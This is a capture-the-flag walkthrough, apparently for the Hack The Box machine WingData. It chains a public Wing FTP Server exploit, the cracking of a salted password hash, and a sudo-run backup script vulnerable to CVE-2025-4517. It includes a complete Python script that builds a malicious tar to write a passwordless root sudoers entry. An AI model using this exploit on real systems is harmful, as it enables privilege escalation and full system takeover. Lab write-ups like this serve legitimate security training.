Information Gathering

# Nmap 7.98 scan initiated Tue Feb 17 05:13:04 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203
Host is up (0.096s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vulnerability Analysis

Browsing the webpage reveals the virtual host: ftp.wingdata.htb

Accessing it reveals the web application Wing FTP Server v7.4.3

Searching yields https://www.exploit-db.com/exploits/52347

Exploitation (User Flag)

Using this exploit, we can obtain a shell for winftp. Searching /home reveals the user wacky.

grep -rnio "wacky" . 2>/dev/null reveals the password in the file: ./Data/1/users/wacky.xml

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

By searching Google: hash site:*.wftpserver.com

the following page is found: https://www.wftpserver.com/help/ftpserver/index.html?compression.htm

This reveals the salt for the password is WingFTP, type: SHA256

Cracking yields the password: !#7Blushing^*Bride5

Privilege Escalation (Root Flag)

Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py 

Reviewing the Python file reveals:

tar.extractall(path=staging_dir, filter="data")

Python is 3.12

CVE-2025-4517

This is a mismatch between path validation and path realization. When underlying processing (e.g., calling the OS os.path.realpath() function handling PATH_MAX limits) handles a malicious .tar file containing member names pointing to ../../../../etc/passwd or other critical system directories, the tarfile "data" filter fails to intercept it.

As a result, files that should be restricted to a safe extraction directory escape and are written to absolute system paths.

Creating the Malicious TAR File

import os       # Operating System (OS interface)
import io       # Input/Output (I/O interface)
import tarfile  # Tape Archive File (tar archive interface)

# Create deeply nested directories with symbolic link loops
def create_exploit_tar(username, output_file):
    comp = 'a' * 247
    steps = "abcdefghijklmnop"
    path = ""
    sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
    
    # Phase 1: Create deeply nested directories with symbolic link loops
    with tarfile.open(output_file, mode="w") as tar:
        for i in steps:
            # os.path.join: Operating System Path Join (OS path concatenation)
            a = tarfile.TarInfo(os.path.join(path, comp))
            # DIRTYPE: Directory Type (directory type)
            a.type = tarfile.DIRTYPE
            tar.addfile(a)
            
            b = tarfile.TarInfo(os.path.join(path, i))
            # SYMTYPE: Symbolic Link Type (symbolic link/soft link type)
            b.type = tarfile.SYMTYPE
            b.linkname = comp
            tar.addfile(b)
            
            path = os.path.join(path, comp)
            
        # Phase 2: Create a long symbolic link chain extending upwards
        linkpath = os.path.join("/".join(steps), "l" * 254)
        l = tarfile.TarInfo(linkpath)
        l.type = tarfile.SYMTYPE
        l.linkname = "../" * len(steps)  # Go up 16 levels
        tar.addfile(l)
        
        # Phase 3: Final escape symbolic link pointing to /etc
        e = tarfile.TarInfo("escape")
        e.type = tarfile.SYMTYPE
        e.linkname = linkpath + "/../../../../../../../etc"
        tar.addfile(e)
        
        # Phase 4: Hard link to sudoers via escape sequence
        f = tarfile.TarInfo("sudoers_link")
        # LNKTYPE: Hard Link Type (hard link type)
        f.type = tarfile.LNKTYPE
        f.linkname = "escape/sudoers"
        tar.addfile(f)
        
        # Phase 5: Write actual content - write to inode of hard link
        c = tarfile.TarInfo("sudoers_link")
        # REGTYPE: Regular File Type (regular file type)
        c.type = tarfile.REGTYPE
        c.size = len(sudoers_entry)
        # io.BytesIO: Input/Output Bytes In/Out (in-memory bytes file object)
        tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
        
    print(f"[+] Exploit tar created: {output_file}")
    return output_file

if __name__ == "__main__":
    target_user = "wacky"
    payload_filename = "backup_1111.tar"
    print("[*] Generating exploit payload...")
    create_exploit_tar(target_user, payload_filename)
    print(f"[*] Execution complete. Please check {payload_filename} in the current directory")

Source: https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py

Next, move to the /opt/backup_clients/backups directory

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit

This yields a shell